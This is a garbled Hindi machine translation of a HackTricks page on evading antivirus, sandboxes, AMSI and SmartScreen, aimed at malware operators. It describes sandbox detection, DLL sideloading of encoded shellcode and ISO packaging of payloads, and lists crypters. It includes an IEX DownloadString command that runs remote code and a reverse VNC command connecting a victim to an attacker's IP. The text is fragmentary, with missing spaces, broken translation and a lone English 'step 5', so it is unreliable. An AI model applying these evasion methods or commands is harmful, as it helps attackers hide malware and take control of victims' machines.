<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
वर्तमान में, AVs एक फ़ाइल को क्या यह हानिकारक है या नहीं यह जांचने के लिए विभिन्न तरीके का उपयोग करते हैं, स्थैतिक पहचान, गतिशील विश्लेषण, और उनके लिए अधिक उन्नत EDRs, व्यवहारिक विश्लेषण।
स्थैतिक पहचान को एक बाइनरी या स्क्रिप्ट में ज्ञात हानिकारक स्ट्रिंग या बाइट के गुणकों को झंडा दिखाकर प्राप्त किया जाता है, और भी फ़ाइल से जानकारी निकाली जाती है (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्होंने संशोधित और हानिकारक के रूप में झंडा दिया होगा। इस प्रकार की पहचान से चुटकुला करने के कुछ तरीके हैं:
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV को आपके कार्यक्रम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको कुछ प्रकार के लोडर की आवश्यकता होगी जो कार्यक्रम को डिक्रिप्ट और मेमोरी में चलाने के लिए होगा।
कभी-कभी आपको अवशेषण करने के लिए बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग बदलने की आवश्यकता होती है ताकि यह AV को पार कर सके, लेकिन यह किसी भी चीज को अवशोषित करने के लिए समय लेने वाला काम हो सकता है आपके कोशिश कर रहे हैं।
Windows Defender स्थैतिक पहचान के खिलाफ जांच के लिए [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) एक अच्छा तरीका है। यह बुनियादी रूप से फ़ाइल को कई सेगमेंट में विभाजित करता है और फिर Defender को प्रत्येक एक को अलग-अलग स्कैन करने के लिए कार्यवाही करता है, इस तरह, यह आपको बता सकता है कि आपके बाइनरी में झंडा दिखाए गए स्ट्रिंग या बाइट क्या हैं।
मैं आपको इस [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) की जांच करने की अत्यधिक सिफारिश करता हूं जो व्यावहारिक AV ईवेशन के बारे में है।
### **गतिशील विश्लेषण**
गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और हानिकारक गतिविधि के लिए देखता है (जैसे आपके ब्राउज़र के पासवर्ड डिक्रिप्ट और पढ़ने का प्रयास करना, LSASS पर मिनीडंप करना, आदि)। यह भाग काम करने में थोड़ा जटिल हो सकता है, लेकिन यहां कुछ चीजें हैं जो आप सैंडबॉक्स से बचने के लिए कर सकते हैं।
* **अभिनय से पहले सोना** इसे कैसे लागू किया गया है, यह AV के गतिशील विश्लेषण को छलने का एक बड़ा तरीका हो सकता है। AV के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के काम को बाधित न करें, इसलिए लंबी नींद का उपयोग करना बाइनरी के विश्लेषण को बाधित कर सकता है। समस्या यह है कि कई AV सैंडबॉक्स इसे छोड़ सकते हैं जैसे ही यह कैसे लागू किया गया है।
* **मशीन के संसाधनों की जांच** सामान्यत: सैंडबॉक्स के पास काम करने के लिए बहुत ही कम संसाधन होते हैं (जैसे <2GBरैम),अन्यथावेउपयोगकर्ताकीमशीनकोधीमाकरसकतेहैं।आपयहांबहुतरचनात्मकहोसकतेहैं,उदाहरणकेलिएCPUकातापमानयाफिरफैनकीगतिकीजांचकरके,सैंडबॉक्समेंसभीचीजेंलागूनहींहोंगी।
* **मशीन-विशेष जांच** यदि आप उस उपयोगकर्ता को लक्ष्य बनाना चाहते हैं जिसका कार्यस्थल "contoso.local" डोमेन से जुड़ा हो, तो आप कंप्यूटर के डोमेन पर जांच कर सकते हैं कि क्या यह आपके द्वारा निर्दिष्ट किया गया है, यदि नहीं, तो आप अपने कार्यक्रम को बंद कर सकते हैं।
पता चलता है कि माइक्रोसॉफ्ट डिफेंडर के सैंडबॉक्स कंप्यूटर का नाम HAL9TH है, इसलिए, आप अपने मैलवेयर में कंप्यूटर का नाम जांच सकते हैं, यदि नाम HAL9TH से मेल खाता है, तो इसका मतलब है कि आप डिफेंडर के सैंडबॉक्स के अंदर हैं, इसलिए आप अपने कार्यक्रम को बंद कर सकते हैं।
मैं आपको **DLL हाइजैक करने योग्य/साइडलोड कार्यक्रम खुद खोजने** की अधिक सिफारिश करता हूँ, यह तकनीक सही ढंग से किया जाए तो काफी गुप्त रहती है, लेकिन यदि आप सार्वजनिक रूप से जाने जाने वाले DLL साइडलोड कार्यक्रम का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।
किसी भी दुरुपयोगी DLL को एक कार्यक्रम की उम्मीद करती है कि वह लोड करेगा, क्योंकि कार्यक्रम उस DLL के अंदर कुछ विशिष्ट कार्यों की उम्मीद करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सींग/फॉरवर्डिंग** कहा जाता है।
**DLL प्रॉक्सींग** कार्यक्रम द्वारा किए गए कॉल्स को प्रॉक्सी (और दुरुपयोगी) DLL से मूल DLL तक फॉरवर्ड करता है, इस प्रक्रिया से कार्यक्रम की कार्यक्षमता को संरक्षित रखता है और आपके पेलोड का निष्पादन करने में सक्षम होता है।
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
हमारे शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन दर है! मैं इसे एक सफलता कहूंगा।
मैं **ऊचा सिफारिश** करता हूं कि आप [S3cur3Th1sSh1t के twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL साइडलोडिंग और [ippsec के वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) को देखें और हमने जो विस्तार से चर्चा की है, उसके बारे में अधिक जानें।
टालना बस एक बिल्ली और चूहे का खेल है, जो आज काम करता है, कल पकड़ लिया जा सकता है, इसलिए कभी भी केवल एक उपकरण पर भरोसा न करें, यदि संभव हो तो कई टालने की तकनीकों को जोड़ने का प्रयास करें।
AMSI को "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। प्रारंभ में, AVs केवल **डिस्क पर फ़ाइलें** स्कैन करने में सक्षम थे, इसलिए यदि आप किसी प्रकार से payloads **सीधे मेमोरी में** निष्पादित कर सकते थे, तो AV कुछ भी नहीं कर सकता था इसे रोकने के लिए, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी।
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` चलाने पर विंडोज डिफेंडर पर निम्नलिखित चेतावनी प्रकट होगी।
क्योंकि AMSI मुख्य रूप से स्थिर पकड़ों के साथ काम करता है, इसलिए, जिन स्क्रिप्टों को आप लोड करने की कोशिश कर रहे हैं, उन्हें संशोधित करना डिटेक्शन से बचने का एक अच्छा तरीका हो सकता है।
हालांकि, AMSI के पास यदि यह कई लेयर्स हो तो भी स्क्रिप्टों को अनऑबफस्केट करने की क्षमता है, तो अवबफस्केशन किया जा सकता है, यह उस पर कितना काम किया गया है पर निर्भर करता है। यह इसे टालना इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको कुछ चरणों के नाम बदलने की आवश्यकता होती है और आप अच्छे हो जाएंगे, इसलिए यह उस पर कितना कुछ झंडा लगाया गया है पर निर्भर करता है।
क्योंकि AMSI को पावरशेल (जैसे cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया गया है, इसे आसानी से भ्रमित किया जा सकता है भले ही एक अनधिकृत उपयोगकर्ता के रूप में चल रहा हो। इस AMSI के कार्यान्वयन में दोष के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से बचने के कई तरीके खोजे हैं।
AMSI प्रारंभीकरण को विफल करने के लिए (amsiInitFailed) यह परिणाम होगा कि वर्तमान प्रक्रिया के लिए कोई स्कैन प्रारंभ नहीं होगा। मूल रूप से इसे [मैट ग्रेबर](https://twitter.com/mattifestation) ने खुलासा किया था और माइक्रोसॉफ्ट ने व्यापक उपयोग को रोकने के लिए एक हस्ताक्षर विकसित किया है।
केवल एक पंक्ति पावरशेल कोड की आवश्यकता थी ताकि वर्तमान पावरशेल प्रक्रिया के लिए AMSI अप्रयोग्य हो जाए। यह पंक्ति बेशक AMSI द्वारा फ्लैग की गई है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
यह तकनीक पहले से ही [@RastaMouse](https://twitter.com/\_RastaMouse/) द्वारा खोजी गई थी और इसमें "AmsiScanBuffer" फ़ंक्शन के पते को amsi.dll में खोजना शामिल है (जो उपयोगकर्ता द्वारा प्रदान किए गए इनपुट की स्कैनिंग के लिए जिम्मेदार है) और इसे E\_INVALIDARG कोड के लिए वापस लौटने के निर्देशों के साथ अधिलेखित करना, इस तरह, वास्तविक स्कैन का परिणाम 0 लौटेगा, जिसे साफ परिणाम के रूप में व्याख्या किया जाएगा।
AMSI को बायपास करने के लिए और भी कई तकनीकें हैं जो पावरशेल के साथ उपयोग की जाती हैं, [**इस पृष्ठ**](basic-powershell-for-pentesters/#amsi-bypass) और [इस रेपो](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) की जाँच करें और उनके बारे में अधिक जानें।
कई उपकरण हैं जो क्लियर-टेक्स्ट को **अवगुणित करने** के लिए उपयोग किए जा सकते हैं, **मेटाप्रोग्रामिंग टेम्पलेट** जेनरेट करने के लिए तथा बाइनरी कोंपाइल करने या **कंपाइल किए गए बाइनरी को अवगुणित करने** के लिए जैसे:
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) कंपाइलेशन सुइट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड अवगुणन](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) और टैम्पर-प्रूफिंग के माध्यम से वृद्धि की सुरक्षा प्रदान कर सकता है।
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि कैसे `C++11/14` भाषा का उपयोग करके, कंपाइल समय पर, किसी भी बाह्य उपकरण का उपयोग किए बिना औबैस्केटेड कोड जेनरेट किया जा सकता है और कंपाइलर को संशोधित किए बिना।
* [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा जेनरेट किए गए अवगुणित ऑपरेशन की एक परत जो अनुप्रयोग को क्रैक करने वाले व्यक्ति की जिंदगी को थोड़ा सा कठिन बना देगी।
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी अवगुणक है जो विभिन्न पीई फ़ाइलों को अवगुणित करने में सक्षम है: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame एक सरल मेटामॉर्फिक कोड इंजन है जो विभिन्न क्रियान्वितियों के लिए है।
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक फाइन-ग्रेन्ड कोड अवगुणन फ्रेमवर्क है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करके LLVM समर्थित भाषाओं के लिए कार्यक्रम को अवगुणित करता है। ROPfuscator एक कार्यक्रम को एसेम्बली कोड स्तर पर अवगुणित करता है जिसे सामान्य नियंत्रण प्रवाह की हमारी प्राकृतिक धारणा को बाधित करने के लिए नियामक निर्देशों में रूपांतरित करके।
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE क्रिप्टर है जो Nim में लिखा गया है
स्मार्टस्क्रीन मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, अर्थात असामान्य डाउनलोड एप्लिकेशन स्मार्टस्क्रीन को ट्रिगर करेंगे जिससे अंत उपयोगकर्ता को फ़ाइल को चलाने से रोका जाएगा (हालांकि फ़ाइल को फिर भी चलाया जा सकता है जरूरी जानकारी -> फिर भी चलाएं पर क्लिक करके)।
**MoTW** (Mark of The Web) एक [NTFS वैकल्पिक डेटा स्ट्रीम](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) है जिसका नाम Zone.Identifier है जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जिससे यह डाउनलोड किया गया था।
<figure><imgsrc="../.gitbook/assets/image (13) (3).png"alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जाँच।</p></figcaption></figure>
अपने पेलोड को MoTW से बचाने के लिए एक प्रकार के कंटेनर में पैकेज करना एक बहुत प्रभावी तरीका है जैसे कि एक ISO। यह इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **नॉन NTFS** वॉल्यूम पर लागू नहीं किया जा सकता है।
यहाँ एक डेमो है जिसमें [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) का उपयोग करके ISO फ़ाइलों में payloads को SmartScreen को बायपास करने का तरीका दिखाया गया है।
मेमोरी में C# बाइनरीज़ लोड करना काफी समय से जाना जा रहा है और यह एंटीवायरस द्वारा पकड़े जाने के बिना अपने पोस्ट-एक्सप्लोइटेशन टूल्स को चलाने का एक बहुत अच्छा तरीका है।
अधिकांश C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही C# असेम्ब्लीज़ को मेमोरी में सीधे निष्पादित करने की क्षमता प्रदान करते हैं, लेकिन इसे करने के विभिन्न तरीके हैं:
इसमें **एक नया बलिदानी प्रक्रिया उत्पन्न करना** शामिल है, अपने पोस्ट-एक्सप्लोइटेशन दुरुपयोगी कोड को उस नई प्रक्रिया में इंजेक्ट करना, अपने दुरुपयोगी कोड को निष्पादित करना और समाप्त होने पर, नई प्रक्रिया को मारना। इसके फायदे और नुकसान दोनों हैं। फोर्क और रन विधि का लाभ यह है कि निष्पादन हमारे बीकन इम्प्लांट प्रक्रिया के **बाहर** होता है। इसका यह मतलब है कि अगर हमारे पोस्ट-एक्सप्लोइटेशन कार्रवाई में कुछ गलत हो जाता है या पकड़ जाता है, तो हमारे **इम्प्लांट के जीवित रहने** की **अधिक संभावना** है। नुकसान यह है कि आपको **व्यवहारिक पकड़** के द्वारा पकड़ने की **अधिक संभावना** है।
इसका मतलब है पोस्ट-एक्सप्लोइटेशन दुरुपयोगी कोड को **अपनी खुद की प्रक्रिया में** इंजेक्ट करना। इस तरीके से, आपको एक नई प्रक्रिया बनाने और उसे एवी से स्कैन करवाने की चिंता नहीं करनी पड़ेगी, लेकिन नुकसान यह है कि अगर आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके बीकन को खोने की **अधिक संभावना** है क्योंकि यह क्रैश हो सकता है।
यदि आप C# Assembly लोडिंग के बारे में और अधिक पढ़ना चाहते हैं, तो कृपया इस लेख [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनके InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) की जांच करें।
आप C# Assemblies **PowerShell से** भी लोड कर सकते हैं, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk) देखें।
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित के अनुसार, हम आक्रमित मशीन को आक्रमक कोड का उपयोग करके अन्य भाषाओं का उपयोग करने की संभावना है **आक्रमक कंट्रोल किए गए SMB साझा** पर स्थापित अनुप्रयोगी परिवेश का उपयोग करके।
रेपो इसका सुझाव देता है: Defender अब भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमें **स्थिर हस्ताक्षरों को बायपास करने** की **अधिकता** है। इन भाषाओं में अनियंत्रित रिवर्स शैल लिखे गए स्क्रिप्ट के परीक्षण सफल साबित हुआ है।
टालना एक बहुत जटिल विषय है, कभी-कभी आपको एक ही सिस्टम में कई विभिन्न टेलीमेट्री स्रोतों को ध्यान में रखना होता है, इसलिए पूरी तरह से परिपक्व वातावरण में पूरी तरह से अनप्रकट रहना लगभग असंभव है।
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के हिस्से को हटा देगा** जब तक यह **बाहर करने वाला हिस्सा** दुरुपयोगी मानता है और इसे आपको विभाजित करेगा।\
एक और उपकरण जो **एक ही चीज कर रहा है** है [**avred**](https://github.com/dobin/avred) जिसके एक ओपन वेब सेवा में सेवा प्रदान कर रहा है [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
इसे यहाँ से डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको सेटअप नहीं, बिन डाउनलोड करना है)
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` को चलाना चाहिए ताकि वह एक रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो जाए। फिर, **विक्टिम** के अंदर: winvnc डेमन चलाएं `winvnc.exe -run` और `winwnc.exe [-autoreconnect] -connect <हमलावर_ip>::5900`
* अगर यह पहले से चल रहा है, तो `winvnc` न चलाएं या आपको [पॉपअप](https://i.imgur.com/1SROTTl.png) को ट्रिगर कर देगा। `tasklist | findstr winvnc` के साथ चल रहा है या नहीं यह जांचें
*`UltraVNC.ini` के बिना `winvnc` न चलाएं या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) खोल देगा
* मदद के लिए `winvnc -h` न चलाएं या आपको [पॉपअप](https://i.imgur.com/oc18wcu.png) को ट्रिगर कर देगा
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!